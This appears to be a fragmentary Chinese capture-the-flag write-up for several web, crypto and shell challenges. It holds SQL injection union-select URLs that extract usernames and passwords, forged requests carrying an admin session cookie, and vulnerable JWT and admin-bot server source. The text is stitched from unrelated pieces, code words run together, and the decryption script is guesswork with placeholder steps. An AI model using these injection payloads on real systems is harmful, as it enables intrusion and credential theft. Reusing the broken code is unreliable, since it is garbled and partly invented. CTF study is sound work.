# 1. 生成 keyNums 序列 keyNums = [ord(c) - ord('a') for c in key] # 将密钥字符映射为 0-25 的数 n = len(key) L = len(cipher)
# 2. 逆列换位:按行构造网格,重排列 rows = ceil(L / n) # 初始化网格(可能有空缺) grid = [[''] * n for _ inrange(rows)] idx = 0 for r inrange(rows): for c inrange(n): if idx < L: grid[r][c] = cipher[idx] idx += 1
# 计算列排序:根据 key 字母的字母序确定新列位置 sorted_cols = sorted(range(n), key=lambda i: key[i]) # 创建原始位置的空网格 orig_grid = [[''] * n for _ inrange(rows)] # 恢复列顺序:sorted_cols[j] 列是原始列 j for new_c, old_c inenumerate(sorted_cols): for r inrange(rows): orig_grid[r][old_c] = grid[r][new_c]
# 从恢复列换位后的网格读取中间密文 mid_cipher = "".join("".join(row) for row in orig_grid).replace('\x00', '')
# 3. 分块并逐块逆向变换 blocks = [mid_cipher[i:i+12] for i inrange(0, len(mid_cipher), 12)] plaintext = "" for blk in blocks: # 将字符转矩阵(此处举例按行填充到6x6,其余设为 None) M = [[None]*6for _ inrange(6)] # 将 blk 的字符填入 M,例如按行前12个位置(具体映射规则以加密为准) idx = 0 for r inrange(6): for c inrange(6): if idx < len(blk): M[r][c] = blk[idx] idx += 1 # 对 M 执行 5 轮逆向操作:每轮先逆向加法再逆向置换 forroundinrange(4, -1, -1): k = keyNums[round] % 5 # 逆向加法:对 M 中每个元素做减法(具体减到的数字要模回字母表或方阵大小) for r inrange(6): for c inrange(6): if M[r][c] isnotNone: # 示例:假设 M[r][c] 为字母,先映射到 0-25,加了 k 后取模,现在减去 k val = ord(M[r][c]) - ord('a') val = (val - k) % 26 M[r][c] = chr(val + ord('a')) # 逆向置换:对矩阵 M 进行对应的逆置换操作(例如逆时针旋转等) # 下面示意为逆时针 90°,具体操作需对应加密用的矩阵 M = [list(row) for row inzip(*M)][::-1] # 逆时针旋转示例 # 从矩阵 M 提取明文(取按加密时相同的填充方式读取字符) # 这里假设只读最初填的那12个位置 plain_blk = "" count = 0 for r inrange(6): for c inrange(6): if M[r][c] isnotNoneand count < 12: plain_blk += M[r][c] count += 1 plaintext += plain_blk
## if username already exists return error isUser = getData(username) if isUser: return flask.redirect('/register?error=Username+already+taken') else: # insert new user and password db = redis.Redis(host=HOST, port=6379, decode_responses=True) # db.set(username, "User") # nah, we don't want to let you write to the db :) passwordKey = username + "_password" # db.set(passwordKey, password) # nah, we don't want to let you write to the db :) flask.session['username'] = username return flask.redirect('/')
POST/get_quoteHTTP/1.1 Host: redthis.chal.cyberjousting.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
famous_person=admin_password
1 2 3 4 5 6 7
POST/get_quoteHTTP/1.1 Host: redthis.chal.cyberjousting.com Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aClO5g._S3TLBUJbAcEqasx_XMZq9xK3EM Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
famous_person=flag_7392ilj8i32
Cooking Flask
经过测试发现是Sql注入,只不过这里列数比较多
1
https://cooking.chal.cyberjousting.com/search?recipe_name=&description=&tags=' ) union select 1,2,3,4 from user--+
判断出来是八列之后,不然列名为int,我们挨个换就好了
1
https://cooking.chal.cyberjousting.com/search?recipe_name=&description=&tags=' ) union select 1,username,'2023-01-01',3,password,password,'[]',1 from user--+
# get admin cookie if you know the secret @app.route('/get_admin_cookie', methods=['GET']) defget_admin_cookie(): secret = request.args.get('adminsecret', None) uid = request.args.get('uid', None)
if secret isNoneor uid isNoneor uid == '1337': return redirect('/')
if secret == ADMIN_SECRET: resp = make_response('Cookie has been set.') resp.set_cookie('session', jwt.encode({"admin": True, "uid": uid}, APP_SECRET, algorithm="HS256")) return resp
# get flag if you are an admin @app.route('/flag', methods=['GET']) defflag(): session = request.cookies.get('session', None).strip().replace('=','')
if session isNone: return redirect('/') # check if the session is in the JRL if session in jrl: return redirect('/')
try: payload = jwt.decode(session, APP_SECRET, algorithms=["HS256"]) if payload['admin'] == True: return FLAG else: return redirect('/') except: return redirect('/')
# retrieve the JRL @app.route('/jrl', methods=['GET']) defjrl_endpoint(): return jsonify(jrl)
if __name__ == "__main__": app.run(host='0.0.0.0', port=1337, threaded=True)
// Middleware to parse cookies app.use(cookieParser());
// Create HTTP server const server = http.createServer(app);
// Create a WebSocket server const wss = newWebSocket.Server({ server });
// Middleware to check for a valid JWT cookie constcheckCookie = (req, res, next) => { const token = req.cookies.token;
// If the user does not have a token, generate a new one if (!token) { const userId = uuidv4(); const jwtToken = jwt.sign({ userId }, JWT_SECRET); res.cookie('token', jwtToken, { httpOnly: true, sameSite: 'None', secure: true }); return res.redirect('/'); }
try { // Verify the JWT token and get the userId const decoded = jwt.verify(token, JWT_SECRET); req.userId = decoded.userId; next(); } catch (error) { // If the JWT token is invalid, generate a new one const userId = uuidv4(); const jwtToken = jwt.sign({ userId }, JWT_SECRET); res.cookie('token', jwtToken, { httpOnly: true, sameSite: 'None', secure: true }); return res.redirect('/'); } };
// Send a message to the WebSocket constsendMsg = (ws, msg) => { ws.send(JSON.stringify({ message: msg, sender: 'URL Bot' })); };
// Serve the static files after checking the cookie app.get('/', checkCookie, (req, res) => { res.sendFile(path.join(__dirname, 'public', 'index.html')); });
// WebSocket connection handler wss.on('connection', (ws, req) => { // Get the userId from the cookie const userId = req.headers.cookie ? req.headers.cookie.split('token=')[1] : null;
if (userId) { try { const decoded = jwt.verify(userId, JWT_SECRET); const user = decoded.userId;
sendMsg(ws, `Welcome! Send a URL and the admin will visit it to check if it's up`);
if (message.message === '/getFlag') { if (user === 'admin') { sendMsg(ws, `Flag: ${FLAG}`); } else { sendMsg(ws, 'You are not authorized to get the flag'); } } else { if (message.message.startsWith('http://') || message.message.startsWith('https://')) { sendMsg(ws, 'Checking URL...'); const result = awaitvisitUrl(message.message); // have the adminBot visit the URL if (result === 'success') { sendMsg(ws, `${message.message} is up!`); } else { sendMsg(ws, `${message.message} returned an error: ${result}`); } } else { sendMsg(ws, 'Please send a URL starting with http:// or https://'); } } } catch (error) { // Invalid message ws.close(); } }); } catch (error) { // Invalid JWT ws.close(); } } else { // No userId found in the cookie ws.close(); } });
// Start the HTTP server server.listen(port, () => { console.log(`Server running at http://localhost:${port}`); });
Your SOC has flagged unusual outbound traffic on a segment of your network. After capturing logs from the router during the anomaly, they handed it over to you—the network analyst.
Somewhere in this mess, two compromised hosts are secretly mining cryptocurrency and draining resources. Analyze the traffic, identify the two rogue IP addresses running miners, and report them to the Incident Response team before your network becomes a crypto farm.
baozongw1@ubuntu:~/Desktop/MiscTools$ nc enabled.chal.cyberjousting.com 1352 Welcome to my new bash, sbash, the Safe Bourne Again Shell! There's no exploiting this system compgen -c if then else elif fi case esac for select while until do done in function time { } ! [[ ]] coproc . : [ alias bg bind break builtin caller compgen complete compopt continue declare dirs disown echo eval exit export false fc fg getopts help history jobs kill let local logout mapfile popd printf pushd pwd read readarray readonly return set shift shopt source suspend test times trap true typeset ulimit umask unalias unset wait
GNU bash, version 5.2.21(1)-release (x86_64-pc-linux-gnu) These shell commands are defined internally. Type `help' to see this list. Type `help name' to find out more about the function `name'. Use `info bash' to find out more about the shell in general. Use `man -k' or `info' to find out more about commands not in this list.
A star (*) next to a name means that the command is disabled.
job_spec [&] history [-c] [-d offset] [n] or hist> (( expression )) if COMMANDS; then COMMANDS; [ elif C> . filename [arguments] jobs [-lnprs] [jobspec ...] or jobs > : kill [-s sigspec | -n signum | -sigs> [ arg... ] let arg [arg ...] [[ expression ]] local [option] name[=value] ... alias [-p] [name[=value] ... ] logout [n] bg [job_spec ...] mapfile [-d delim] [-n count] [-O or> bind [-lpsvPSVX] [-m keymap] [-f file> popd [-n] [+N | -N] break [n] printf [-v var] format [arguments] builtin [shell-builtin [arg ...]] pushd [-n] [+N | -N | dir] caller [expr] pwd [-LP] case WORD in [PATTERN [| PATTERN]...)> read [-ers] [-a array] [-d delim] [-> *cd [-L|[-P [-e]] [-@]] [dir] readarray [-d delim] [-n count] [-O > *command [-pVv] command [arg ...] readonly [-aAf] [name[=value] ...] o> compgen [-abcdefgjksuv] [-o option] [> return [n] complete [-abcdefgjksuv] [-pr] [-DEI]> select NAME [in WORDS ... ;] do COMM> compopt [-o|+o option] [-DEI] [name .> set [-abefhkmnptuvxBCEHPT] [-o optio> continue [n] shift [n] coproc [NAME] command [redirections] shopt [-pqsu] [-o] [optname ...] declare [-aAfFgiIlnrtux] [name[=value> source filename [arguments] dirs [-clpv] [+N] [-N] suspend [-f] disown [-h] [-ar] [jobspec ... | pid > test [expr] echo [-neE] [arg ...] time [-p] pipeline *enable [-a] [-dnps] [-f filename] [na> times eval [arg ...] trap [-lp] [[arg] signal_spec ...] *exec [-cl] [-a name] [command [argume> true exit [n] *type [-afptP] name [name ...] export [-fn] [name[=value] ...] or ex> typeset [-aAfFgiIlnrtux] name[=value> false ulimit [-SHabcdefiklmnpqrstuvxPRT] [> fc [-e ename] [-lnr] [first] [last] o> umask [-p] [-S] [mode] fg [job_spec] unalias [-a] name [name ...] for NAME [in WORDS ... ] ; do COMMAND> unset [-f] [-v] [-n] [name ...] for (( exp1; exp2; exp3 )); do COMMAN> until COMMANDS; do COMMANDS-2; done function name { COMMANDS ; } or name > variables - Names and meanings of so> getopts optstring name [arg ...] wait [-fn] [-p var] [id ...] *hash [-lr] [-p pathname] [-dt] [name > while COMMANDS; do COMMANDS-2; done help [-dms] [pattern ...] { COMMANDS ; }
预览: